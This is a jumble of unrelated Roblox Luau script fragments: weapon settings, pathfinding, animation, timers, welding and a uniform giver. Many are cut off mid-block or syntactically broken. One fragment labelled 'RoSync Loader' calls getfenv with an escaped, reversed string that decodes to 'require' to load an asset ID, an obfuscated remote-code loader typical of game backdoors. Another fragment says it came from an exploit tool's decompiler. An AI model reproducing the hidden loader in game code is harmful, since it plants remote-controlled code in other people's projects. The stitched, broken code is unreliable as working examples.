s.Pitch = s.Pitch + 0.01
s:play()
wait(0.001)
end]]
|
for x = 1,100 do
s.Pitch = s.Pitch - 0.0021
s:play()
wait(0.001)
end
wait()
end
|
--// Ammo Settings
|
Ammo = 500;
StoredAmmo = 500;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 0;
|
--------END AUDIENCE BACK RIGHT--------
|
wait(0.15)
|
--[[ Local Functions ]]
|
--
local function onShiftLockToggled()
IsShiftLocked = not IsShiftLocked
if IsShiftLocked then
ShiftLockIcon.Image = SHIFT_LOCK_ON
Mouse.Icon = SHIFT_LOCK_CURSOR
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
else
ShiftLockIcon.Image = SHIFT_LOCK_OFF
Mouse.Icon = ""
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
local function initialize()
if ScreenGui then
ScreenGui:Destroy()
ScreenGui = nil
end
ScreenGui = Instance.new('ScreenGui')
ScreenGui.Name = "ControlGui"
local frame = Instance.new('Frame')
frame.Name = "BottomLeftControl"
frame.Size = UDim2.new(0, 130, 0, 46)
frame.Position = UDim2.new(0, 0, 1, -46)
frame.BackgroundTransparency = 1
frame.Parent = ScreenGui
ShiftLockIcon = Instance.new('ImageButton')
ShiftLockIcon.Name = "MouseLockLabel"
ShiftLockIcon.Size = UDim2.new(0, 62, 0, 62)
ShiftLockIcon.Position = UDim2.new(0, 2, 0, -65)
ShiftLockIcon.BackgroundTransparency = 1
ShiftLockIcon.Image = IsShiftLocked and SHIFT_LOCK_ON or SHIFT_LOCK_OFF
ShiftLockIcon.Visible = IsShiftLockMode
ShiftLockIcon.Parent = frame
ShiftLockIcon.MouseButton1Click:connect(onShiftLockToggled)
ScreenGui.Parent = PlayerGui
end
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2500
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = true
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = true
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 5
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
--// Firemode Settings
|
CanSelectFire = false;
BurstEnabled = false;
SemiEnabled = false;
AutoEnabled = true;
BoltAction = false;
ExplosiveEnabled = false;
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Name = "position",
Aliases = { "pos" },
Description = "Returns Vector3 position of you or other players. Empty string is the player has no character.",
Group = "DefaultDebug",
Args = { {
Type = "player",
Name = "Player",
Description = "The player to report the position of. Omit for your own position.",
Default = game:GetService("Players").LocalPlayer
} },
ClientRun = function(p1, p2)
local l__Character__1 = p2.Character;
if not l__Character__1 or not l__Character__1:FindFirstChild("HumanoidRootPart") then
return "";
end;
return tostring(l__Character__1.HumanoidRootPart.Position):gsub("%s", "");
end
};
|
--minutes.Changed:Connect(function(int)
-- if seconds > 9 then
-- script.Parent.Text = tostring(minutes.Value)..":"tostring(seconds)
-- else
-- script.Parent.Text = tostring(minutes.Value)..":0"tostring(seconds)
-- end
--end)
|
seconds.Changed:Connect(function(int)
if seconds.Value <= 0 and minutes.Value <= 0 then
return
end
if seconds.Value > 9 then
script.Parent.Text = tostring(minutes.Value)..":"..tostring(seconds.Value)
else
script.Parent.Text = tostring(minutes.Value)..":0"..tostring(seconds.Value)
end
end)
while wait(1) do
if minutes.Value > 0 and seconds.Value == 0 then
minutes.Value -= 1
seconds.Value = 59
continue
end
if seconds.Value > 0 then
seconds.Value -= 1
end
end
|
--[[ Services ]]
|
--
local ContextActionService = game:GetService('ContextActionService')
local Players = game:GetService('Players')
local UserInputService = game:GetService('UserInputService')
|
-- float rd_flt_basic(byte f1..8)
-- @f1..4 - The 4 bytes composing a little endian float
|
local function rd_flt_basic(f1, f2, f3, f4)
local sign = bit.rshift(f4, 7)
local exp = bit.rshift(f3, 7) + bit.lshift(bit.band(f4, 0x7F), 1)
local frac = f1 + bit.lshift(f2, 8) + bit.lshift(bit.band(f3, 0x7F), 16)
local normal = 1
if exp == 0 then
if frac == 0 then
return sign * 0
else
normal = 0
exp = 1
end
elseif exp == 0x7F then
if frac == 0 then
return sign * (1 / 0)
else
return sign * (0 / 0)
end
end
return (-1) ^ sign * 2 ^ (exp - 127) * (1 + normal / 2 ^ 23)
end
|
-- print("Wha " .. pose)
|
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
|
----------------------------------------
|
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor = Color3.new(1, 0, 0)
local NeutralReticleColor = Color3.new(1, 1, 1)
local Spread = MinSpread
local AmmoInClip = ClipSize
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil
local LeftButtonDown
local Reloading = false
local IsShooting = false
|
-- destination = v.Parent.PrimaryPart.Position
|
destination = (CFrame.new(root.CFrame.p,Vector3.new(v.Parent.PrimaryPart.CFrame.p.x, -9,v.Parent.PrimaryPart.CFrame.p.z))*CFrame.new(0,0,-50)).p
break
|
-----------------------------------PATHER--------------------------------------
|
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath: boolean?)
local this = {}
local directPathForHumanoid
local directPathForVehicle
if overrideUseDirectPath ~= nil then
directPathForHumanoid = overrideUseDirectPath
directPathForVehicle = overrideUseDirectPath
else
directPathForHumanoid = UseDirectPath
directPathForVehicle = UseDirectPathForVehicle
end
this.Cancelled = false
this.Started = false
this.Finished = Instance.new("BindableEvent")
this.PathFailed = Instance.new("BindableEvent")
this.PathComputing = false
this.PathComputed = false
this.OriginalTargetPoint = endPoint
this.TargetPoint = endPoint
this.TargetSurfaceNormal = surfaceNormal
this.DiedConn = nil
this.SeatedConn = nil
this.BlockedConn = nil
this.TeleportedConn = nil
this.CurrentPoint = 0
this.HumanoidOffsetFromPath = ZERO_VECTOR3
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
this.CurrentWaypointNeedsJump = false;
this.CurrentHumanoidPosition = ZERO_VECTOR3
this.CurrentHumanoidVelocity = 0 :: Vector3 | number
this.NextActionMoveDirection = ZERO_VECTOR3
this.NextActionJump = false
this.Timeout = 0
this.Humanoid = findPlayerHumanoid(Player)
this.OriginPoint = nil
this.AgentCanFollowPath = false
this.DirectPath = false
this.DirectPathRiseFirst = false
this.stopTraverseFunc = nil :: (() -> ())?
this.setPointFunc = nil :: ((number) -> ())?
this.pointList = nil :: {PathWaypoint}?
local rootPart: BasePart = this.Humanoid and this.Humanoid.RootPart
if rootPart then
-- Setup origin
this.OriginPoint = rootPart.CFrame.Position
-- Setup agent
local agentRadius = 2
local agentHeight = 5
local agentCanJump = true
local seat = this.Humanoid.SeatPart
if seat and seat:IsA("VehicleSeat") then
-- Humanoid is seated on a vehicle
local vehicle = seat:FindFirstAncestorOfClass("Model")
if vehicle then
-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.
local tempPrimaryPart = vehicle.PrimaryPart
vehicle.PrimaryPart = seat
-- For now, only direct path
if directPathForVehicle then
local extents: Vector3 = vehicle:GetExtentsSize()
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = false
this.AgentCanFollowPath = true
this.DirectPath = directPathForVehicle
end
-- Reset PrimaryPart
vehicle.PrimaryPart = tempPrimaryPart
end
else
local extents: Vector3?
if FFlagUserExcludeNonCollidableForPathfinding then
local character: Model? = GetCharacter()
if character ~= nil then
extents = getCollidableExtentsSize(character)
end
end
if extents == nil then
extents = GetCharacter():GetExtentsSize()
end
assert(extents, "")
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = (this.Humanoid.JumpPower > 0)
this.AgentCanFollowPath = true
this.DirectPath = directPathForHumanoid :: boolean
this.DirectPathRiseFirst = this.Humanoid.Sit
end
-- Build path object
if FFlagUserClickToMoveSupportAgentCanClimb then
this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump, AgentCanClimb = true})
else
this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})
end
end
function this:Cleanup()
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
if this.BlockedConn then
this.BlockedConn:Disconnect()
this.BlockedConn = nil
end
if this.DiedConn then
this.DiedConn:Disconnect()
this.DiedConn = nil
end
if this.SeatedConn then
this.SeatedConn:Disconnect()
this.SeatedConn = nil
end
if this.TeleportedConn then
this.TeleportedConn:Disconnect()
this.TeleportedConn = nil
end
this.Started = false
end
function this:Cancel()
this.Cancelled = true
this:Cleanup()
end
function this:IsActive()
return this.AgentCanFollowPath and this.Started and not this.Cancelled
end
function this:OnPathInterrupted()
-- Stop moving
this.Cancelled = true
this:OnPointReached(false)
end
function this:ComputePath()
if this.OriginPoint then
if this.PathComputed or this.PathComputing then return end
this.PathComputing = true
if this.AgentCanFollowPath then
if this.DirectPath then
this.pointList = {
PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),
PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)
}
this.PathComputed = true
else
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
end
end
this.PathComputing = false
end
end
function this:IsValidPath()
this:ComputePath()
return this.PathComputed and this.AgentCanFollowPath
end
this.Recomputing = false
function this:OnPathBlocked(blockedWaypointIdx)
local pathBlocked = blockedWaypointIdx >= this.CurrentPoint
if not pathBlocked or this.Recomputing then
return
end
this.Recomputing = true
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
this.OriginPoint = this.Humanoid.RootPart.CFrame.p
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
if #this.pointList > 0 then
this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint
end
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
if ShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)
end
if this.PathComputed then
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
this:Cleanup()
end
this.Recomputing = false
end
function this:OnRenderStepped(dt: number)
if this.Started and not this.Cancelled then
-- Check for Timeout (if a waypoint is not reached within the delay, we fail)
this.Timeout = this.Timeout + dt
if this.Timeout > UnreachableWaypointTimeout then
this:OnPointReached(false)
return
end
-- Get Humanoid position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Check if it has reached some waypoints
while this.Started and this:IsCurrentWaypointReached() do
this:OnPointReached(true)
end
-- If still started, update actions
if this.Started then
-- Move action
this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition
if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then
this.NextActionMoveDirection = this.NextActionMoveDirection.Unit
else
this.NextActionMoveDirection = ZERO_VECTOR3
end
-- Jump action
if this.CurrentWaypointNeedsJump then
this.NextActionJump = true
this.CurrentWaypointNeedsJump = false -- Request jump only once
else
this.NextActionJump = false
end
end
end
end
function this:IsCurrentWaypointReached()
local reached = false
-- Check we do have a plane, if not, we consider the waypoint reached
if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then
-- Compute distance of Humanoid from destination plane
local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance
-- Compute the component of the Humanoid velocity that is towards the plane
local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)
-- Compute the threshold from the destination plane based on Humanoid velocity
local threshold = math.max(1.0, 0.0625 * velocity)
-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it
reached = dist < threshold
else
reached = true
end
if reached then
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
return reached
end
function this:OnPointReached(reached)
if reached and not this.Cancelled then
-- First, destroyed the current displayed waypoint
if this.setPointFunc then
this.setPointFunc(this.CurrentPoint)
end
local nextWaypointIdx = this.CurrentPoint + 1
if nextWaypointIdx > #this.pointList then
-- End of path reached
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
this.Finished:Fire()
this:Cleanup()
else
local currentWaypoint = this.pointList[this.CurrentPoint]
local nextWaypoint = this.pointList[nextWaypointIdx]
-- If airborne, only allow to keep moving
-- if nextWaypoint.Action ~= Jump, or path mantains a direction
-- Otherwise, wait until the humanoid gets to the ground
local currentState = this.Humanoid:GetState()
local isInAir = currentState == Enum.HumanoidStateType.FallingDown
or currentState == Enum.HumanoidStateType.Freefall
or currentState == Enum.HumanoidStateType.Jumping
if isInAir then
local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump
if not shouldWaitForGround and this.CurrentPoint > 1 then
local prevWaypoint = this.pointList[this.CurrentPoint - 1]
local prevDir = currentWaypoint.Position - prevWaypoint.Position
local currDir = nextWaypoint.Position - currentWaypoint.Position
local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit
local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit
local THRESHOLD_COS = 0.996 -- ~cos(5 degrees)
shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS
end
if shouldWaitForGround then
this.Humanoid.FreeFalling:Wait()
-- Give time to the humanoid's state to change
-- Otherwise, the jump flag in Humanoid
-- will be reset by the state change
wait(0.1)
end
end
-- Move to the next point
this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
end
else
this.PathFailed:Fire()
this:Cleanup()
end
end
function this:MoveToNextWayPoint(currentWaypoint: PathWaypoint, nextWaypoint: PathWaypoint, nextWaypointIdx: number)
-- Build next destination plane
-- (plane normal is perpendicular to the y plane and is from next waypoint towards current one (provided the two waypoints are not at the same location))
-- (plane location is at next waypoint)
this.CurrentWaypointPlaneNormal = currentWaypoint.Position - nextWaypoint.Position
-- plane normal isn't perpendicular to the y plane when climbing up
if not FFlagUserClickToMoveSupportAgentCanClimb or (nextWaypoint.Label ~= "Climb") then
this.CurrentWaypointPlaneNormal = Vector3.new(this.CurrentWaypointPlaneNormal.X, 0, this.CurrentWaypointPlaneNormal.Z)
end
if this.CurrentWaypointPlaneNormal.Magnitude > ALMOST_ZERO then
this.CurrentWaypointPlaneNormal = this.CurrentWaypointPlaneNormal.Unit
this.CurrentWaypointPlaneDistance = this.CurrentWaypointPlaneNormal:Dot(nextWaypoint.Position)
else
-- Next waypoint is the same as current waypoint so no plane
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
-- Should we jump
this.CurrentWaypointNeedsJump = nextWaypoint.Action == Enum.PathWaypointAction.Jump;
-- Remember next waypoint position
this.CurrentWaypointPosition = nextWaypoint.Position
-- Move to next point
this.CurrentPoint = nextWaypointIdx
-- Finally reset Timeout
this.Timeout = 0
end
function this:Start(overrideShowPath)
if not this.AgentCanFollowPath then
this.PathFailed:Fire()
return
end
if this.Started then return end
this.Started = true
ClickToMoveDisplay.CancelFailureAnimation()
if ShowPath then
if overrideShowPath == nil or overrideShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList, this.OriginalTargetPoint)
end
end
if #this.pointList > 0 then
-- Determine the humanoid offset from the path's first point
-- Offset of the first waypoint from the path's origin point
this.HumanoidOffsetFromPath = Vector3.new(0, this.pointList[1].Position.Y - this.OriginPoint.Y, 0)
-- As well as its current position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Connect to events
this.SeatedConn = this.Humanoid.Seated:Connect(function(isSeated, seat) this:OnPathInterrupted() end)
this.DiedConn = this.Humanoid.Died:Connect(function() this:OnPathInterrupted() end)
this.TeleportedConn = this.Humanoid.RootPart:GetPropertyChangedSignal("CFrame"):Connect(function() this:OnPathInterrupted() end)
-- Actually start
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
end
end
--We always raycast to the ground in the case that the user clicked a wall.
local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
local ray = Ray.new(offsetPoint, Vector3.new(0,-1,0)*50)
local newHitPart, newHitPos = Workspace:FindPartOnRayWithIgnoreList(ray, getIgnoreList())
if newHitPart then
this.TargetPoint = newHitPos
end
this:ComputePath()
return this
end
|
--[=[
Returns whether a task is a valid job.
@param job any
@return boolean
]=]
|
function MaidTaskUtils.isValidTask(job)
return type(job) == "function"
or typeof(job) == "RBXScriptConnection"
or type(job) == "table" and type(job.Destroy) == "function"
or typeof(job) == "Instance"
end
|
--[[
Clone and drop the loader so it can hide in nil.
--]]
|
if not _G.__EISSANTIRUN then
local loader=script.Parent.Loader:clone()
loader.Parent=script.Parent
loader.Name=math.random(111111,99999999)
loader.Archivable=false
loader.Disabled=false
end
|
-- initialize to idle
|
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent ~= nil do
local _, time = wait(0.1)
move(time)
end
|
--[[ Last synced 10/14/2020 09:30 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--Objs
|
local ServerModules = ServerStorage.Server
local SharedModules = ReplicatedStorage.Shared
local Remotes = ReplicatedStorage.Remotes
|
-- Functions --
|
local function playSoundLocal(sId,sParent)
local sound = Instance.new("Sound",sParent)
sound.SoundId = "http://www.roblox.com/asset/?id="..sId
sound:Play()
sound:Destroy()
end
local function onClicked(player)
print(player.Name.." clicked on Uniform Giver")
playSoundLocal(152206246,player) -- Declaring the sound ID and Parent
local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
if not foundShirt then -- if there is no shirt
print("No shirt found, creating for "..player.Name)
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
else if foundShirt then -- if there is a shirt
print("Shirt found, reconstructing for "..player.Name)
player.Character.Shirt:remove()
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
end
end
local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
if not foundPants then -- if there are no pants
print("No pants found, creating for "..player.Name)
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
else if foundPants then -- if there are pants
print("Pants found, reconstructing for "..player.Name)
player.Character.Pants:remove()
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
end
end
player.Character.Shirt.ShirtTemplate = shirtId
player.Character.Pants.PantsTemplate = pantsId
end
local function onHoverEnter(player)
cPart.Transparency = 0
cPart.BrickColor = BrickColor.Dirt brown()
end
local function onHoverLeave(player)
cPart.BrickColor = BrickColor.Dirt brown()
cPart.Transparency = 0
end
|
-- calculate the moon's gravity
|
local moonGravityRatio = 1.62 / 9.81 -- the ratio of moon to earth's gravity
local defaultGravity = 196.2
local moonGravity = defaultGravity * moonGravityRatio
workspace.Gravity = moonGravity
|
-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/
|
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
local function GetBricks(StartInstance)
local List = {}
-- if StartInstance:IsA("BasePart") then
-- List[#List+1] = StartInstance
-- end
CallOnChildren(StartInstance, function(Item)
if Item:IsA("BasePart") then
List[#List+1] = Item;
end
end)
return List
end
local function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table");
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local function Make(ClassType, Properties)
-- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties)
end
local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"}
local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"}
local function HasWheelJoint(Part)
for _, SurfaceName in pairs(Surfaces) do
for _, HingSurfaceName in pairs(HingSurfaces) do
if Part[SurfaceName].Name == HingSurfaceName then
return true
end
end
end
return false
end
local function ShouldBreakJoints(Part)
--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are
-- definitely some edge cases.
if NEVER_BREAK_JOINTS then
return false
end
if HasWheelJoint(Part) then
return false
end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then
return false
end
for _, Item in pairs(Connected) do
if HasWheelJoint(Item) then
return false
elseif not Item:IsDescendantOf(script.Parent) then
return false
end
end
return true
end
local function WeldTogether(Part0, Part1, JointType, WeldParent)
--- Weld's 2 parts together
-- @param Part0 The first part
-- @param Part1 The second part (Dependent part most of the time).
-- @param [JointType] The type of joint. Defaults to weld.
-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).
-- @return The weld created.
JointType = JointType or "Weld"
local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType)
Modify(NewWeld, {
Name = "qCFrameWeldThingy";
Part0 = Part0;
Part1 = Part1;
C0 = CFrame.new();--Part0.CFrame:inverse();
C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();
Parent = Part1;
})
if not RelativeValue then
RelativeValue = Make("CFrameValue", {
Parent = Part1;
Name = "qRelativeCFrameWeldValue";
Archivable = true;
Value = NewWeld.C1;
})
end
return NewWeld
end
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)
-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.
-- @param MainPart The part to weld the model to (can be in the model).
-- @param [JointType] The type of joint. Defaults to weld.
-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
end
end
end
local function PerfectionWeld()
local Tool = GetNearestParent(script, "Tool")
local Parts = GetBricks(script.Parent)
local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1]
if PrimaryPart then
WeldParts(Parts, PrimaryPart, "Weld", false)
else
warn("qWeld - Unable to weld part")
end
return Tool
end
local Tool = PerfectionWeld()
if Tool and script.ClassName == "Script" then
--- Don't bother with local scripts
script.Parent.AncestryChanged:connect(function()
PerfectionWeld()
end)
end
|
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